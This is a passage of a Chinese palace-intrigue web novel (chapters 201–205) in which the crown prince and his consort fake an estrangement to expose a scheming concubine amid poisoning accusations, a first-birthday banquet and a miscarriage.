“殿下,妾身好高兴,您亲征云城,奋勇杀敌,终于如愿以偿。”她的眼中满是崇拜。 裴墨染的心一片冰冷。 这些人只会为他高兴,只有蛮蛮心疼他,担心他的安危。 “灵音,你的心意,本宫知道。”他勾勾她的下巴,像在逗弄宠物。 苏灵音话锋一转,黯然神伤道:“只可惜妾身不争气,被奸人陷害,爹爹都被我气病了。” 说着,她拿出帕子抹去眼角的泪。 这明摆着是想晋位份,不想做妾。 裴墨染的嘴角掀起了鄙夷的弧度,但很快就转变为心疼,“别哭了,有什么好伤心的?待迁入东宫,本宫就晋你的位份。” “真的吗?”苏灵音露出惊喜的表情。 “自然是真的!你是苏家嫡女,身份尊贵,又是本宫的表妹,我们的情分跟旁人是不同的。”他柔声哄道。 他会给苏灵音一个好大的惊喜,一定让她高兴! 苏灵音的心激起一阵悸动。 裴墨染说他们的情分,跟旁人是不同的! 她跟没骨头似的,倒进他的怀里,拖着嗓音撒娇,“殿下也是这样哄太子妃的吗?” 裴墨染盯着她的发顶,恨不得凿出两个窟窿。 “别提她了。”因为你不配。 苏灵音嘴边的笑纹不断加深。 …… 肃王府太大,私库的东西过多。 过了将近三个月才迁府完毕,搬入东宫。 寝殿的名字全都没有变动。 云清婳的寝殿依旧叫玄音阁。 而清心阁空置。 这些日子,裴墨染只要没有公务,便宿在苏灵音处,其次就是魏娴以及其他妾室。 全府上下都发觉云清婳失了宠。 除了每月初一、十五,裴墨染几乎都不去玄音阁。 但这次没人再敢嘲讽,毕竟云清婳在七星连珠夜生了龙凤胎。 就算失宠,倚仗着两个孩子,日后也高枕无忧了。 花厅中,裴墨染跟云清婳坐在上首。 其他妾室分坐两列。 “殿下,迁府完毕,各位姐妹们的院落,我已经安排好了,还请您过目。”云清婳将一本名册交予裴墨染。 他并没有接,“太子妃,该晋一晋位份了。” 云清婳颔首,笑容端庄,举手投足落落大方,“全凭殿下做主。” 众妾室都看得出来,二人这是貌合神离! 连孩子都有了,却这么生分! 第201章 辞忧叫爹,诶! “稍后,本宫会将晋位、分院的事交代给万嬷嬷。”他的眼神带笑,从苏灵音的脸上划过。 苏灵音羞涩的垂眸,双颊绽放了两朵桃花粉,像是情窦初开的少女。 这明晃晃的眼神交流,暧昧宠溺,好不明显! 这让妾室酸的不行,心里对苏灵音有了怨怼。 出了花厅,苏灵音笑容更甚,她娇声开口:“魏夫人嫁给殿下一年了吧?” “劳苏夫人挂念。”魏娴象征性的弯唇,情绪很淡。 巧慧挑眉,语气隐隐嚣张,“魏夫人,方才殿下的话您没听见吗?恐怕您叫错了,我们主子可不是夫人了。” “那我就提前恭喜了。”魏娴没有情绪,平静的看着她们。 苏灵音瞪了巧慧一眼,她斥道:“少乱说话!殿下的安排还没下来呢。魏夫人是府邸的老人了,我怎会越到她前面去?” 魏娴的脸色有些难看。 苏灵音很满意的她的表情。 觉得难堪吗? 这就对了,谁让你是云清婳的走狗呢? …… 玄音阁。 魏娴来时,裴墨染正强行按着云清婳的肩膀,给她画眉。 “蛮蛮,你看我画的怎么样?”他自信蛮蛮的将铜镜递给她,脸上透着骄傲。 飞霜扑哧笑喷了。 云清婳对镜一看,脸蛋气成了一个红苹果,“裴墨染!” “不好看吗?”他有些委屈。 “好看什么?像是两条毛毛虫。”云清婳赶紧拧了把帕子擦掉。 他理不直气也壮,“方才让你别动,你非动。” 她乜了他一眼。 魏娴见状,松了口气。 殿下没跟蛮蛮离心就好。 虽然蛮蛮什么也没跟她说,但这段时间她也看清楚了。 殿下跟蛮蛮似乎在演一场戏,为了骗过苏灵音。 “见过殿下、太子妃。”魏娴福福身。 裴墨染示意她平身。 云清婳眼神一亮,她走到小床边,“阿娴,孩子会叫娘了。” “真的吗?”魏娴笑吟吟的上前。 小床上,承基坐在软垫上,手上捏着布老虎。 辞忧扶着小床边缘,节藕似的小肉腿站了起来。 “娘~”辞忧的眼睛笑成了一对弯月牙。 承基也道:“娘~” “好聪明啊,还不到十个月呢。”魏娴亲了亲辞忧的脸蛋。 裴墨染有些吃味儿。 孩子会叫人了,这么大的事,为什么蛮蛮不说给他? 好像孩子是魏娴跟她生的! 他的眉毛一沉,“蛮蛮,孩子会叫爹吗?” 云清婳在他腰间掐了一把,她促狭道:“太子殿下在苏夫人那里流连忘返,好不快活!孩子记得您都不错了。” 裴墨染醋了,他赌气般抱起辞忧,“辞忧,叫爹。” 辞忧的小嘴动了动,“啊……” “辞忧最聪明了,跟爹爹学,叫爹爹。”裴墨染期待的看着辞忧。 辞忧拧着眉头,用尽力气从嘴里挤出:“啊啊……” 裴墨染字正腔圆道:“爹爹、爹爹、爹爹……” 云清婳:??? 她怎么感觉怪怪的? 裴墨染很有耐心,“爹爹、爹爹……” 辞忧歪着脑袋,“诶!” 扑哧—— “哈哈哈哈……”云清婳笑喷了。 魏娴也捂着嘴忍俊不禁。 辞忧不明所以,一边吃手手,一边跟着咯咯咯的笑了。 裴墨染意识到她们在笑什么,脸气得红到了脖颈,憋了半晌,他怒道:“蛮蛮,你这个大坏蛋生了个小坏蛋。” “……”云清婳想吐。 咦惹,狗男人能不能别这么恶心? 魏娴不由得在心中感慨蛮蛮训狗手段了得! 谁能想到暴戾残忍的战神有这样撒娇的一面? 云清婳戳戳他的胸口,操着玩笑的口吻:“夫君再不来,孩子就要不认识你了。” 裴墨染感受到了危机。 他可不能让孩子不认识他。 “日后我每日都来。”但想到苏灵音,他微不可闻叹息。 魏娴的唇瓣张了张,又闭上,欲言又止。 “阿娴想说什么?”云清婳发现了她的不对劲。 魏娴的脸颊泛红,她的手落在腹部,她低声道:“我……怀孕了。” 云清婳状似惊讶,“这是好事啊!孩子几个月了?” “快三个月了。”魏娴的笑容娴静。 “很好。”裴墨染也有些惊讶。 他是高兴的,但也没多高兴。 已经有了一对儿女,其他的孩子于他而言多多益善,他却早就失去了初为人父的欣喜。 “魏娴,你好生养胎,切莫声张,本宫会让万嬷嬷护着你。”裴墨染的眼神落在她的腹部。 魏娴福身,“是。” “夫君是不是应该赏赐阿娴?”云清婳跟魏娴交换了一个眼神。 他的双眼幽深,“放心吧,这次的赏赐,每个人都会满意。” 当然,除了苏灵音。 …… 另一边,苏灵音被封为太子侧妃,又住进了清心阁。 她看着修缮得富丽堂皇的清心阁,内心翻涌着浪潮。 夺回侧妃之位只是第一步,她将来定会除掉云清婳,当太子妃! 各个妾室都在往各自的寝殿搬行李。 魏娴带人从清心阁前路过。 路过苏灵音时,她没有理会。 苏灵音递给巧慧一个眼神,巧慧小跑上前,拦住她的去路,“魏夫人,还请您规矩些!见到苏侧妃不要忘记行礼。” “巧慧,不要咄咄逼人,魏家家风森严,用不着你多嘴,自然懂规矩。”说着,苏灵音扶了扶髻上的金簪,等待着魏娴行礼。 “呵……”魏娴冷笑。 其他妾室也用看笑话的眼神看苏灵音。 苏灵音隐隐觉得不对,眼底闪过疑惑。 魏娴的婢女玉穗冷哼一声,“侧妃见侧妃行什么礼?” 苏灵音的瞳孔一震,她上打量着魏娴,“侧妃?” “没想到苏侧妃这么讲究礼数。魏侧妃先入府,苏侧妃后入府。论起年纪,也是魏侧妃年长于您,所以要行礼,也应是您先行礼吧?”玉穗针锋相对。 苏灵音的脸腾的红了,她像是当众被魏娴打了一巴掌,臊得恨不得找条地缝钻进去。 为什么魏娴成了侧妃? 她一个卑贱的庶出,配吗?! “没想到……魏夫人成了侧妃。”她的脸色变得难看。 魏娴款款一笑,“何止啊?殿下怜香惜玉,全府上下都晋了位份,没名分的侍妾都抬为贵妾,赐为夫人。” 苏灵音的肺都快气炸。 她的手紧紧攥起,指尖泛着乳白色。 全府晋升,如此一来,她岂不是相当于没有晋位? 一定是云清婳这个贱人搞的鬼! 其他夫人看到苏灵音的脸色不愉,纷纷翻白眼。 “苏侧妃的脸色怎么这么难看?莫不是不高兴我们晋位?” “太子妃都没说什么,她反倒上蹿下跳的。” 第202章 沈沁的礼物是…… 魏娴的眼神像在看跳梁小丑,“没事的话,麻烦苏侧妃让一让,我的落霞斋就在你的隔壁。” 苏灵音没有发作,退后半步,她脸上的肌肉抽搐,显得十分滑稽。 她盯着魏娴的背影,眼中波澜诡谲。 …… 入夜,裴墨染搂着云清婳,他的鼻尖蹭着她的颈窝,“蛮蛮,魏娴怀孕,你当真高兴?” “你说呢?”她似笑非笑,眼神狡黠的看着他。 他不敢面对她的注视,他长叹一声:“怪我!” 谁让他娶了这么多房妾室? 蛮蛮除了接受,还能怎么办? “你放心,在我心中,谁都不会越过你们母子三人。”他的唇落在她的额上。 云清婳的心尖盘绕着算计。 鱼儿,应该咬钩了吧? …… 夜半,隔壁房中传来婴儿啼哭声。 飞霜拍了拍门,“主子,公子跟小姐上吐下泻,不知怎么了。” 云清婳跟裴墨染登时从梦中惊醒,二人匆匆穿衣,往隔壁屋去。 孩子嚎啕大哭。 裴墨染心疼的抱起辞忧,云清婳抱着承基。 婢女、府医跪了一地。 “混账!孩子吃什么了?”裴墨染怒问。 奶娘瑟瑟发抖,她哭道:“除了奶,奴婢只给公子跟小姐吃了些肉泥粥。” “去查!”他低吼。 少顷,万嬷嬷带着府医回来了。 府医跪地,“殿下,鄙人在粥里发现了红花,婴儿肠胃脆弱,长期服用此物必会伤及肠胃,毁了根基,让孩子体弱多病。” 云清婳跟飞霜交换了一个眼神。 她们自然不会给孩子吃毒物。 上吐下泻只是积食罢了。 “呜呜呜……夫君,究竟是谁害我们的孩子?承基、辞忧才这么小,就屡次被人毒害!”云清婳凄厉的哭着,眼泪扑簌簌的落。 裴墨染的眼神一黯,“红花的来源是何处?速速去查!” “是!”贴身太监、万嬷嬷忙不迭去查。 云清婳将脸埋进他的怀中,“夫君,您一定要为孩子做主。” 裴墨染的眼中波澜诡谲。 倘若此事是裴云澈所为,他定不会手下留情。 …… 天还未亮,所有人都被召在花厅。 裴墨染面色阴沉的坐在上首,云清婳的眼睛都哭肿了,面容憔悴。 他靠在她的耳侧,低声道:“回去歇着吧,这里有我。” “不!我要留在这里,亲眼看见坏人伏法!”云清婳的眼神尖锐。 各个夫人面面相觑,神情各异 苏灵音一脸担忧,着急道:“殿下,公子跟小姐怎么样了?妾身有太医院的解毒丸,不如先给孩子服用吧。” “你的心意,本宫知道,放心吧。”裴墨染的脸上透着疲惫。 苏灵音的心中升起了莫大的遗憾。 这让她怎么放心? 听说红花服用多了,会损伤脑力,变成憨痴! 为何两个贱种没事? 魏娴分析道:“昨日的确是下毒的好时机,各个姐妹从肃王府迁到东宫,迁院搬行李,许多腌臜东西都能趁机进来。” 万嬷嬷的眼睛都熬红了,带着婢女每个院落挨个搜,可什么都没查出来。 “难道此事查不出来了?”云清婳捻着帕子擦着眼泪。 “搬入东宫还不足一日就闹出如此祸端,本宫定不能容忍!”裴墨染一字一顿,凌驾于众生之上陡然压下。 众人垂下脑袋,噤若寒蝉。 门外忽然传来一阵脚步声。 贴身太监小跑进来,“殿下,查出来了!” 裴墨染的眉宇微微舒展,“是何人所为?” 贴身太监从袖中拿出一个绣着兰草的帕子,里面包裹着红花,“奴才在落霞斋发现了红花,就藏在魏侧妃的枕头下。” “不!”魏娴惊呼一声,眼泪都吓了出来,“殿下明鉴,妾身与太子妃情同姐妹,妾身怎么忍心害孩子?” 裴墨染眯着眼,阴恻恻的睨着她,“那红花为何出现在你的枕头下?” “妾身不知道!定是昨日迁府,人多眼杂,奸人趁机将红花藏在妾身的枕头下。”魏娴的眼泪扑簌簌的流。 几个夫人也是一脸惊讶,“看不出来啊,平日情同姐妹,背地里居然谋害公子跟小姐。” “呵……什么闺中密友?居然在背后捅刀子。” “平日里装模作样,装得清高,没想到心这么黑!孩子还不满一岁啊。” 魏娴的眼圈泛红,眼里好似扬起了红烟,“太子妃,您相信妾身!妾身怎舍得害孩子?” 云清婳哭得梨花带雨,“呜呜呜……” “殿下,如今也查不出红花的来源,该怎么办啊?”苏灵音蹙眉,一副不谙世事,怜悯终生的模样。 裴墨染心中有九分是相信魏娴的。 倒不是因为别的,而是因为魏娴怀孕了,红花这么危险的东西,她一个孕妇,定不会放置在这么贴身位置。 “你解释不出红花的来源,让本宫怎么信你?”他反问。 “妾身冤枉!求殿下明察!”魏娴跪地叩首。 苏灵音的嘴角悄悄弯了弯。 魏娴个走狗、贱婢,还企图跟她平起平坐? 看她一会儿还怎么笑得出来。 “是啊,公子、小姐受了这么大的苦,殿下定不能放过幕后黑手。”苏灵音也跟着福福身。 裴墨染的眸寒若星子,他冷声道:“魏侧妃今日起禁足落霞斋,直到红花一事真相水落石出!” “是。”魏娴委屈的落下泪来。 苏灵音虽然有点遗憾没有废掉魏娴的侧妃之位,但还是忍不住暗喜。 云清婳没有求情,说明了什么? 她们的姐妹情是假的! 两个贱人早晚狗咬狗,而她,坐享渔翁之利! 忽的,苏灵音脚下一软,西子捧心般的倒了下去。 巧慧忙不迭扶着她,“主子!” “……” 裴墨染跟云清婳无奈的对视。 裴墨染:这个贱妇到底有没完没完?什么时候了,还装柔弱! 云清婳:愣着干嘛?快去接她的戏啊! 裴墨染:啊啊啊啊啊!烦死了! 他烦躁的朝苏灵音走去,将她搂在怀里,“灵音,你怎么了?” 她虚弱的摇头,“妾身没事,只是昨晚没睡好。” “主子忧心公子跟小姐,一晚没睡。”巧慧心疼的说。 “走,本宫陪你回去歇息。”裴墨染道。 苏灵音半推半就的答应了,她看向云清婳,茶香四溢道:“可是太子妃怎么办?” 裴墨染的眉头皱的都快夹死一只苍蝇,他暴躁道:“她的身子可比你好多了。” “嗯。”苏灵音噘着嘴,脸上洋溢着幸福的笑。 她甚至以为裴墨染的暴躁,是在替她的身子着急。 贴身太监忍不住道:“殿下,方才奴才的徒弟在肃王府发现了一件事!” “何事?”裴墨染立马回过身。 “他在肃王府的清心阁发现了催产药!沈夫人的早产怕是蹊跷啊!”贴身太监道。 苏灵音的心头咯噔一响,她的脑袋像是炸开了烟花,一片空白。 催产药? 第203章 男人只有挂在墙上最老实 裴墨染的眸子一眯,他松开了苏灵音,双眼冷簌簌地盯着她。 “不,殿下,妾身冤枉啊!沈夫人的早产跟妾身没关系!妾身不知道劳什子催产药是怎么进清心阁的!”苏灵音摇头。 其他夫人趁机道:“既然拿不出证据,苏侧妃是不是也该跟魏夫人一样禁足?” “沈夫人好可怜啊!也是怀了双胎,还是两个男胎呢,可生生被催产药毁了,香消玉殒!” 像是一阵风,将裴墨染心中的浪潮掀起。 他恨不得掐死苏灵音。 是啊,沈沁肚子里的可是两个男胎! 着实可惜了。 他忍住心中的恨意,眸色沉了下去。 “灵音,你若是不能给出解释,你暂且也只能禁足了!”他轻拍了下苏灵音的肩膀,眼中流露出痛惜。 “殿下,妾身冤枉!妾身冤枉啊!妾身跟沈夫人早产没有半分关系,妾身可以对天发誓!”她抓住他的衣袖,眼泪气得在眼眶打转。 这件事根本跟她无关! 她凭什么要受冤枉! 她凭什么背锅? “灵音,本宫得一视同仁,你听话些。”说着,裴墨染无情的将她的手甩开。 苏灵音恨得浑身发凉,后槽牙磨得咯吱作响。 沈沁! 一定是沈沁做的! 这个贱人,死了都要摆她一道! 几乎同时,云清婳福至心灵。 原来,沈沁的礼物是这个啊。 不得不说,的确让她很惊喜。 她还以为今日魏娴只能一人单单受委屈了。 苏灵音、魏娴被带走前,云清婳跟魏娴趁机交换了眼神。 没错! 她们在布局…… 今日,仅仅是一个开始! …… 回到玄音阁,裴墨染缓缓吁出一口气。 还好! 不用跟苏灵音虚与委蛇。 “下去领赏,今日做得不错!”裴墨染摆摆手。 贴身太监笑开了花,他跪着磕头,“多谢殿下。” 他也不愿去苏灵音那里! 裴墨染正想抱云清婳,云清婳身子一闪,他扑了个空。 他委屈地看着云清婳。 云清婳冷脸道:“你方才碰苏灵音了,别碰我。” 他哑口无言,忙不迭将身上的外袍脱下,丢在地上。 “拿出去烧了。” “是。”贴身太监立即照办。 裴墨染又去净了手,他献宝似的站在云清婳面前,“现在我干净了吧?” “夫君,你相信红花是阿娴的吗?”她的面色沉沉,像是雨后的山林,被雾气萦绕。 “为什么这么问?”他问。 云清婳眼中饱含情愫,分析:“阿娴也有了孩子,没必要害我,此事我怀疑是苏灵音做的。” 裴墨染倒在贵妃榻上,将头枕在她的腿上,“蛮蛮,你太善良了,有些人比你想得狠毒。我也怀疑苏灵音,但魏娴也不是没有嫌疑。” 正因为魏娴有了自己的孩子,所以承基便成了她的阻碍。 毕竟世子之位只有一个。 谁不想让自己的儿子当世子? 她轻捏裴墨染的脸,“我相信自己的眼光,阿娴不会害我,夫君要赌吗?” 裴墨染嘁了一声,“你在这儿等着我呢?我不跟你赌。” “看来夫君也是相信阿娴的,知道自己会输。”她用激将法。 “少激我,赌就赌!你想赢,我又不是输不起。”他把玩着她垂下的青丝,忽然想到什么。 他双眼晶亮,邀功似的发问:“蛮蛮,我加急送回来的生辰礼,你喜欢吗?” 云清婳:“……” 狗男人很有进步,她今年的生辰,他记住日子了。 那时他在云城,加急寄回来了一身灰色的狐绒大氅。 当时才迈入秋天,她出门走一圈,浑身都汗涔涔的。 拿到大氅时的心情可想而知。 “嗯。”她僵硬地颔首。 裴墨染面露狡黠,似笑非笑道:“不喜欢对吧?我就知道蛮蛮不喜欢那般俗气的礼物。当时我跟副将都商量好了,诸葛先生非要我送大氅。” “夫君原本打算送什么?”她僵硬了瞬间。 他环着她的腰,跟小狗似的在她腹部蹭了蹭,“西和王的头颅。在上面刻你的名字,可威风了。” 云清婳的脸瞬间垮了,瞳孔扩张,脸色发青,“……” 不是! 这人有病吧!? 又不是皇后跟裴云澈的头,送她干嘛? 门外,飞霜的脸都吓白了。 她双手合十,在心中感谢诸葛贤。 要是收到西和王的头颅,她们的魂儿都得吓飞。 “哈哈哈哈哈哈哈……你不会真信了吧?真傻!”裴墨染肆意的笑了,透着几分少年稚气。 啪—— 云清婳一巴掌拍了下去。 笑声戛然而止。 飞霜、贴身太监捂着耳朵,他们可什么都没听见。 裴墨染捂着右脸,委屈巴巴地看她,“我备了其他礼物。” 云清婳有点后悔,狗男人成太子了,心态跟以前爹不疼娘不爱的肃王肯定不一样。 他迟早会忘本、飘飘然,享受被文武百官追捧、谄媚,傲视一切,再打他已经不合适了。 但她忍不住! 因为他太贱了! “夫君欺负我。”她带着哭腔。 裴墨染连忙起身抱着她,“你哭什么?你打我,我都没哭。” 她矫情的嘤嘤嘤,“方才夫君好凶,您肯定恼我了,我好怕,日后不敢打您了。” 裴墨染脑中一片空白,方才他凶了吗? 他根本没生气,这巴掌他是早就预料到的。 他愧疚道:“那是因为我长得凶,我没凶你,我们夫妻打情骂俏而已,我岂会当真?” “我吓唬你,本就是我不对!别怕。”他安抚性地轻轻拍抚她的背脊。 他感受到她的身子绷得很紧,像是受惊的兔子应激了。 这是真的吓到了。 他有点后悔,早知道不开玩笑了。 “可您是太子,众星捧月,跟以前终归是不同了。我……臣妾以后都不敢了。”她起身想要行礼。 裴墨染的双臂紧紧锁住她,不允许她起身,他怅然若失,“胡说!我们是夫妻,无论我如何显赫,你都是我的娘子,你私下想打就打。” 在外面不能打,他要面子! “不一样了,真的不一样了……”她嗫嚅着摇头。 他沉着脸,捧着她的脸,严肃地看着她的眼睛,“蛮蛮,我希望我们能跟民间寻常夫妻一般心意相通,我太寂寞了,也想有个体己人。我不想跟你生分,你别把我推开。” “我能从边关走进东宫,正是因为我清楚地知道我要的是什么。我明白你的担忧,立储后,我身边的诱惑很多。但来时路不易,我绝不会忘了曾经的风雨同舟。” “就算来日我真能继承大统,我在你面前也只是丈夫,你无需怕我!更何况,这储君之位是你为我求来的。” 他言真意切,字字发自内心,不掺丝毫假。 云清婳揩去眼角的泪,她有一刹那是真的动容了。 此时此刻,他绝对是真心的。 可惜啊,算计来的感情,叫她怎敢相信? 男人只有挂在墙上最老实! 第204章 孩子帮蛮蛮报仇了 “夫君,我日后不打你了。”她环住他的窄腰。 裴墨染感受到她的身子渐渐放松,他亲了亲她的耳廓,讨好地说:“为什么不打?我喜欢娘子打我,娘子想对我怎么样都行。” ??? “拿鞭子抽你,用蜡油滴你也行吗?”她戏谑发问。 裴墨染:??? “你上哪儿学的?你干脆杀了我助助兴得了!”他决定一会儿把蛮蛮的话本子全烧了。 云清婳扑哧一声笑喷了,她冲他伸手,“我的礼物呢?” 裴墨染命人取来一枚用紫翡翠打磨的元宝香囊,上面雕刻着鹭鸟跟莲花,玉壁均而薄,“云城有许多兰花,看你平日喜欢侍弄花草,我便想着你或许会喜欢。但我又养不活,就想着将它们晒干制成香囊。” 云清婳第一次觉得裴墨染的眼光好。 果然,用心跟不用心的区别很大。 …… 裴墨染才入东宫,需要学习的事务不少。 这段日子,一有空他便会去看望苏灵音,安抚她。 这让苏灵音很是安心。 只要男人的心在她这里,她早晚会成为赢家。 苏灵音对镜描摹着眉眼,“巧慧,你觉得我跟云清婳谁更美?” “自然是……您更美。”巧慧忍着翻白眼的冲动,违心道。 苏灵音冷嘁,“说谎!我自然是比不上京城第一贵女的,但云清婳生了孩子,听说生了孩子的女人,身子便不中用了,一定不能伺候好男人。” “她如今只是一个绣花枕头,中看不中用罢了。裴墨染来我这里这么频繁,对她越来越不耐烦,就很能说明问题。” 巧慧胃里翻江倒海,这个毒妇! 可惜! 太子妃的身子恢复得可好了! “主子英明!您交代的事,奴婢查到了!奴婢真的在厨房找到了这个。”巧慧从怀里掏出一个帕子。 苏灵音接过帕子,打开闻了闻,“这里面是安胎药?” “没错,奴婢找大夫问了,看来魏娴真的怀孕了!”巧慧眼中冒着精明。 “呵……难怪魏娴甘愿被禁足,原来是想悄悄养胎啊。”苏灵音的眼中闪过刻毒,她的手落在腹部。 “我要让云清婳跟魏娴狗咬狗,周岁宴就要来了吧?我要送云清婳一个大礼!” …… 转眼,周岁宴就到了。 这一日,东宫张灯结彩。 皇上、皇后亲临。 各个皇亲国戚都来送上厚礼。 宴席上,皇上坐在上首,爱不释手地抱着两个孩子。 两个孩子对着皇上咯咯地笑。 他那张与裴墨染七分像的脸,眉宇舒展,威严的脸上褪去了冷漠,只剩下慈爱。 “爷、爷……” 辞忧、承基先后唤道。 两个小家伙口齿清楚,两对葡萄眼直勾勾望着皇上。 “呵呵呵呵……”皇上开怀大笑,“好啊!” 其他皇子、官员的眼中都溢出了赞赏的神色。 皇孙真是聪慧,口齿清楚伶俐,也不怕生。 而裴云澈的脸色愈发难看。 “皇孙百日时才见过陛下,如今他们都一岁了,太子是怎么把孩子教得这么好?时隔这么久,还记性这般好?”虞贵妃的眼角上翘,眸中闪过恶意。 睿王笑得牲畜无害,他道:“皇兄,您可得好好教教本王!本王的逆子都两岁了,可才一个月没见本王,就不认识了呢。” 言下之意便是裴墨染耍手段,故意讨皇上欢心。 皇上脸上的笑意收了一分,审视地看向裴墨染、云清婳。 裴墨染正欲开口,云清婳福福身,“臣妾教皇孙学会了爹娘、爷爷、奶奶,至于皇孙为何还记得陛下,许是真龙之气震慑了皇孙,让他们铭记,所以才有所感应。” “不愧是七星连珠夜诞下的龙凤胎,真是早慧啊。”不知谁说了一句。 皇上发出爽朗的笑声,“哈哈哈哈,承基、辞忧聪慧,今日就将英山、廖郡封赏给他们!” 此话一出,众人的眼中都跳动着难以言说的惊讶与兴奋。 小小年纪就被赐了封地,受重视程度可想而知啊。 “臣妾代皇孙谢陛下。”云清婳跪下谢恩。 孩子叫皇上爷爷自然不是巧合。 这全都得益于云清婳多日的“训练”! 她废了好些力气教孩子,只有穿着明黄色衣袍并且有胡子的男人才能被唤作爷爷。 虞贵妃、睿王气得脸都绿了。 他们的刁难,反而给两个孩子换来了封赏! “皇上,那宇儿呢?”虞贵妃嘟着嘴,娇声问道。 皇上轻拍她的手背,表情没有波动,语气柔和,“宇儿周岁,朕送了一副丹青,爱妃不满意?” 轻飘飘的一句话,却好似千斤压在虞贵妃的肩膀上。 她背后汗涔涔的,笑容僵硬,“怎会?臣妾感恩戴德!” “这便好,你若喜欢,朕再送你一副。”皇上又露出情意绵绵的表情,似乎对她的乖顺很满意。 “多谢陛下。”虞贵妃强颜欢笑,跪下谢恩。 皇后的眼中划过讽刺,她在心里冷笑,她总算在虞贵妃面前扬眉吐气了一次。 她走下台阶,来到云清婳面前,可是笑意不达眼底,“皇孙聪慧,太子妃的应当好生教养,切莫居功自傲,以为是自己的功劳,误了孩子。” 云清婳咬咬牙,从嘴里挤出一个字,“是。” “听闻你近日总是跟墨染争执,善妒易怒可不适合教养孩子。女孩也就罢了,男孩可不能养成善妒易怒的脾性,你若是真为孩子好,不如将孩子交给灵音教养。”皇后的语气不容置喙。 裴墨染此时正在宴客。 云清婳委屈地看了他一眼,裴墨染似有所感地回头。 他走上前,“怎么了?” “殿下,皇后让我把……承基送给苏侧妃教养。”云清婳哽咽。 裴墨染的眼中好像覆盖了一层冰霜。 真可笑,皇后有脸说这种话? 她不好好养自己的儿子,还让蛮蛮跟骨肉分离? “墨染,之前都是母后对不住你,母后已经知道错了,母后真的是为了承基好。”皇后情真意切地说。 她已经收到苏灵音的信了。 从信上她得知,册封大典那天,墨染因为她,训斥了云清婳。 其实墨染还是渴望母爱的,只是还没迈过去心里的坎儿,只要她承认错误,墨染很快就会心软。 裴墨染不看她,“承基还小,放在母亲身边教养最好。” “听说太子妃近来总是与你争执,本宫担心她教坏孩子,别看孩子小,也是有感知的。母亲不中用,会毁了孩子的。”皇后的眼风刺向云清婳。 裴墨染的唇抿成了一字,看似在考虑。 “来,承基,皇祖母抱抱。”皇后从奶娘手中接过孩子,孩子不吵不闹。 承基的小脸忽然憋得通红,随后露出舒畅的表情。 忽然,一股怪味传来。 一个嬷嬷尖叫:“孩子拉了……” 皇后的凤袍被淋上了黄澄澄的脏污…… “这……”皇后的脸扭曲抽搐,她的表情十分狰狞,眼角挤出细密的皱纹。 云清婳立即将孩子抱走,嘴角忍不住抽搐。 裴墨染的眼中晕开了幸灾乐祸。 第205章 流产了 皇后急着去清理衣物,只能暂且将孩子的事只能作罢。 裴墨染心疼地看着云清婳,轻声道:“别担心,你是孩子的生母,谁都不能将孩子从你身边抢走。” 云清婳泫然欲泣。 这让裴墨染的心泛着淡淡的疼,对皇后的埋怨加深。 正妻的孩子让妾室养着,真是可笑! 百日宴临近尾声,裴云澈分外沉寂,平日围在他周围的官员,都拥护在裴墨染身边,他身边的人寥寥无几,门可罗雀。 他借酒浇愁,愁绪与恨意难以派遣。 皇上、皇后都注意到了他,眼中流露出前所未有的心疼。 裴墨染自然也注意到了,他只是讥诮地扫了裴云澈一眼。 从云端跌入泥潭,裴云澈如今的确很凄凉。 他们俩都是被父皇玩弄的木偶罢了。 但是,裴云澈享了二十三年清福。 作为既得利益者,他还一副半死不活的样子会不会太矫情了? 宴席散了,皇上摆驾回宫,宾客也散了。 在皇后的干涉下,苏灵音也被解除禁足。 姑侄见面,二人泪眼婆娑地说了好一会儿话。 就好像苏灵音被虐待似的。 皇后看向裴墨染,眼中盛着愧疚,“墨染,这些年是母后对不住你,母后想要补偿,你给母后一次机会好吗?在母后心中,你跟云澈是一样的。” 苏灵音也劝道:“殿下,在此事上,姑母也是受害者啊。” 云清婳在后面阴恻恻地笑了。 她们两个蠢货,哄人都不会哄。 若是她,她会说,裴云澈终归不是亲生的,身上没流我的血,你我母子血脉相连,我日后只会弥补你赎罪。 裴墨染心中一片悲凉,他装作动容,眼神飘忽,落在皇后的脸上。 皇后抹了把眼泪,她从宫女手中拿过一双墨色纹蟒皂靴,“墨染,这是母后亲手为你做的,你试试。” 宫女趁机道:“殿下,娘娘为了绣这双靴子,熬了半个月了,手指刺破了好几次。您是知道的,娘娘眼睛不好,刺绣完总是眼睛疼。” 裴墨染眼中的坚冰消融。 曾经他很羡慕裴云澈的皂靴上有皇后的刺绣,皇后也会为他缝制皂靴,可从不会刺绣。 他接过靴子,看着迟来的刺绣,突然感觉也不过如此。 他用手丈量尺寸,扯出抹冷笑。 云清婳一眼便看出,靴子小了,这是裴云澈的尺寸。 当母亲的,不知道亲儿子的尺寸。 这母爱,真伟大啊! 见他笑了,皇后跟苏灵音以为他释怀了,二人松了口气。 “墨染,我们母子错过了二十三年,但好在还来得及。”皇后啜泣连连。 苏灵音抹着眼泪,“看见殿下跟姑母解开心结,妾身好感动。” 云清婳都被气笑了,在她们心里,裴墨染究竟多缺爱、多好打发? 居然以为一双破靴子就能让恩怨抵消? “……”裴墨染真想把皂靴砸在她们脸上。 两个蠢货! 他鬓角的青经鼓起,快要忍耐不住了。 一只温暖的手,抓住了他的掌心。 这才把裴墨染内心的喧嚣、冲动止住。 戏还没演完,他不能暴露! “墨染,你跟灵音也该要个孩子了……”皇后的话被喧闹声打断。 魏娴的丫鬟跟管家急急忙忙跑来。 “不好了,不好了……”二人一先一后跑来。 裴墨染剑眉一蹙,他斥道:“放肆!今日是皇孙的满月宴,什么不好了?” “魏侧妃……小产了!” 裴墨染的瞳孔微震,心中无限痛惜。 皇后的脸上露出惋惜。 唯有苏灵音的嘴角微不可查地勾了勾。 到了落霞斋,一盆盆的血水被从寝房端了出来。 府医跪了一地,战战兢兢道:“魏侧妃……小产了!” 裴墨染心中复杂,他正欲绕过屏风查看,皇后将他拦住,“女人流血晦气,别冲撞了你。” “……”裴墨染没有坚持。 云清婳觉得讽刺。 真薄情啊,别人为你流产,你却觉得晦气。 她匆匆来到榻前。 床榻上面色惨白的魏娴,她仿佛被抽干了力气,像一个破布娃娃,眼中无神,呆滞木讷地看着床顶。 她整个人像是从水里捞出来,一动也不动。 “主子,您别这样,您说话啊呜呜呜……”婢女趴在榻边哭得撕心裂肺。 云清婳红了眼,她握住魏娴的手,“阿娴,没事的,你会再有孩子的!” 魏娴沉默不语,毫无波动。 皇后瞥了榻上之人一眼,便匆匆错开,眼中露出嫌恶。 苏灵音眼神狠辣,她福福身,“还请殿下不要怪罪魏侧妃,想必她也不知道自己怀孕了,所以才不慎滑胎。” 